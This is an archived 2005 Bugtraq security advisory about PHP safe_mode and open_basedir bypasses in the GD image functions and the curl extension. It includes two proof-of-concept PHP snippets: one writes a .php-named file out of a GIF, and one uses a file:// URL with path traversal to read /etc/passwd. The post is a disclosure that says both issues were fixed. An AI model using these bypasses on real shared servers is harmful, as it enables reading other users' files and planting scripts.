[40777] in bugtraq

home help back first fref pref prev next nref lref last post

PHP local safedir restriction bypass

daemon@ATHENA.MIT.EDU (slythers@gmail.com)
Mon Oct 17 18:05:19 2005

Date: 17 Oct 2005 14:49:55 -0000
Message-ID: <20051017144955.8387.qmail@securityfocus.com>
Content-Type: text/plain
Content-Disposition: inline
Content-Transfer-Encoding: binary
MIME-Version: 1.0
From: slythers@gmail.com
To: bugtraq@securityfocus.com

There is a vulnerability (local safedir restriction bypass) identified within the GD extension affecting
the following functions:
- imagegif()
- imagepng()
- imagejpeg()

in /ext/gd/gd.c  line 1647

Which is now fixed in the cvs
http://cvs.php.net/co.php/php-src/ext/gd/gd.c?r=1.312.2.1#1786

POC:
with an image like http://81.57.125.106/~slythers/file.gif
<?php
    $im = imagecreatefromgif("file.gif");
    imagegif($im, '/var/www/f34r.fr/c/f/elbossoso/.i.need.money.php');
?>





curl openbasedir and safemode bypass.
POC:

<?php

mkdir("./".$_SERVER["SCRIPT_NAME"]."?");
$ch = curl_init("file://".$_SERVER["SCRIPT_FILENAME"]."?/../../../../../../../../../../../etc/passwd ");

$file=curl_exec($ch);

echo $file;

?>


As you notice, we can bypass the safedir which leads to access to any
files on any shared servers.

This is fixed in the cvs.

slythers@gmail.com
greets : david coallier <davidc@php.net>

home help back first fref pref prev next nref lref last post